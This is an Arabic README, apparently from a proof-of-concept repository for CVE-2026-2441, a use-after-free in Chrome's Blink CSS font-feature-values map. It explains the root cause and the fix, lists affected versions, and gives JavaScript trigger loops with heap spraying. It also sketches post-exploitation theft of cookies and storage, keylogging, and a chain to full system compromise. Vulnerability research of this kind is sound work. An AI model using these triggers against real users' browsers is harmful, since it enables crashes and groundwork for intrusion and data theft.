
إثبات المفهوم لـ CVE-2026-2441، وهو ثغرة استخدام بعد التحرير (use-after-free) في CSS بمتصفح كروم تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في العارض المعزول. يتضمن ثلاث طرق للاستغلال، وتشكيل الكومة (heap grooming)، وتحليلاً مفصلاً.
CVSS 8.8 (عالية) | استغلال نشط في البرية | تنفيذ كود عن بُعد في Renderer (معزول)
ثغرة use-after-free في محرك CSS الخاص بـ Blink في متصفح Google Chrome تسمح لمهاجم عن بُعد بتنفيذ كود تعسفي داخل صندوق حماية المتصفح عبر صفحة HTML مُعدّة بعناية.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (عالية) |
| النوع | Use-After-Free (CWE-416) |
| المكوّن | Blink CSS — CSSFontFeatureValuesMap |
| ملف المصدر | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| إصلاح الالتزام | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| المُبلّغ | Shaheen Fazim (2026-02-11) |
| تاريخ التصحيح | 2026-02-13 |
| في البرية | نعم — أكدت Google الاستغلال النشط |
| المنصة | المتأثرة | المُصلحة |
|---|---|---|
| Windows / macOS (مستقر) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (مستقر) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (مستقر ممتد) | < 144.0.7559.177 | >= 144.0.7559.177 |
| المتصفحات المبنية على Chromium (Edge, Brave, Opera, Vivaldi) | راجع نشرة البائع | تختلف |
خزّن FontFeatureValuesMapIterationSource مؤشرًا خامًا (const FontFeatureAliases* aliases_) إلى HashMap الداخلي FontFeatureAliases. عندما يتم تعديل الخريطة أثناء التكرار عبر set() أو delete()، يُعاد تجزئة HashMap — مما يخصص تخزينًا جديدًا ويحرر القديم. يصبح المؤشر الخام متدليًا (dangling)، وتقرأ استدعاءات FetchNextItem() التالية من ذاكرة محررة.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = مؤشر خام إلى HashMap الداخلي
→ iterator_ = aliases_->begin()
FetchNextItem()
→ يقرأ iterator_->key (عبر aliases_)
إذا تم استدعاء map.set() / map.delete() بين التكرارات:
→ يُعاد تجزئة HashMap (تخصيص جديد، تحرير القديم)
→ aliases_ → مؤشر متدلي
→ iterator_ → غير صالح
→ استدعاء FetchNextItem() التالي → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // مؤشر خام → متدلي بعد إعادة التجزئة
+ const FontFeatureAliases aliases_; // نسخة عميقة → محصّنة ضد إعادة التجزئة
يستبدل الإصلاح المؤشر الخام بـ نسخة عميقة من HashMap. حتى إذا أُعيد تجزئة الخريطة الأصلية، يعمل المكرر على نسخته الخاصة، مما يمنع المؤشر المتدلي.
poc.html في إصدار Chrome قابل للاستغلال (< 145.0.7632.75)| إصدار Chrome | السلوك المتوقع |
|---|---|
| < 145.0.7632.75 (غير مُصحح) | انهيار Renderer — STATUS_ACCESS_VIOLATION (Windows) أو SIGSEGV (Linux/macOS). يعرض Chrome رسالة "تعذر فتح هذه الصفحة". |
| >= 145.0.7632.75 (مُصحح) | لا انهيار — يكتمل تشغيل PoC، وتُقرأ جميع الإدخالات بشكل طبيعي. |
عند فتحه في إصدار Chrome قابل للاستغلال، تنهار عملية renderer مع STATUS_ACCESS_VIOLATION:
تعذر فتح هذه الصفحة
رمز الخطأ: STATUS_ACCESS_VIOLATION
هذا يؤكد تشغيل UAF — يصل المؤشر المتدلي إلى ذاكرة محررة/غير معيّنة، مما يتسبب في إنهاء عملية renderer.
يشغّل PoC ثغرة UAF عبر ثلاث طرق مستقلة:
entries() + حلقة تعديلconst iterator = map.entries();
while (step < 20) {
iterator.next(); // قراءة عبر المؤشر (المتدلي الآن)
map.delete(key); // تشغيل إعادة التجزئة
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // فرض إعادة التخصيص
}
for...of + تعديل متزامنfor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + إعادة حساب التخطيطfunction rafTrigger() {
document.body.offsetWidth; // فرض إعادة حساب التخطيط
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
تتضمن كل طريقة أيضًا تهيئة الكومة (heap grooming) — تخصيص 50 قاعدة @font-feature-values بنفس الحجم لجعل تخطيط الكومة قابلًا للتنبؤ لاستغلال محتمل.
document.cookie وlocalStorage وsessionStorage وقيم إدخال النماذجfetch() / WebSocket / sendBeacon()addEventListener('keydown')عند دمجه مع ثغرة منفصلة لهروب الصندوق الرملي:
تنفيذ كود في Renderer (CVE-2026-2441)
→ استغلال Mojo IPC → تنفيذ كود في عملية المتصفح
→ استغلال النواة → اختراق كامل للنظام
→ تثبيت برمجيات خبيثة / فدية / تجسس
→ الوصول إلى نظام الملفات، حركة جانبية، استمرارية
سلاسل استغلال واقعية تستخدم ثغرات UAF مماثلة في المتصفحات:
هذه الثغرة قابلة للاستغلال عبر التحميل العابر (drive-by download) — لا يتطلب أي تفاعل من المستخدم سوى زيارة صفحة خبيثة:
chrome://flags/#site-isolation-trial-opt-out)| التاريخ | الحدث |
|---|---|
| 2026-02-11 | الإبلاغ عن الثغرة بواسطة Shaheen Fazim |
| 2026-02-13 | أصدرت Google Chrome 145.0.7632.75/76 (Windows/macOS)، 144.0.7559.75 (Linux) |
| 2026-02-13 | أقرّت Google بالاستغلال في البرية |
| 2026-02-16 | أصدر Vivaldi و Opera إصلاحات |
إذا وجدت هذا البحث مفيدًا، ففكر في دعمي بفنجان قهوة:
إثبات المفهوم هذا مُقدَّم لأغراض البحث الأمني التعليمي والمصرح به فقط. استخدام هذا PoC ضد أنظمة دون إذن صريح غير قانوني وغير أخلاقي. المؤلف غير مسؤول عن أي إساءة استخدام.
MIT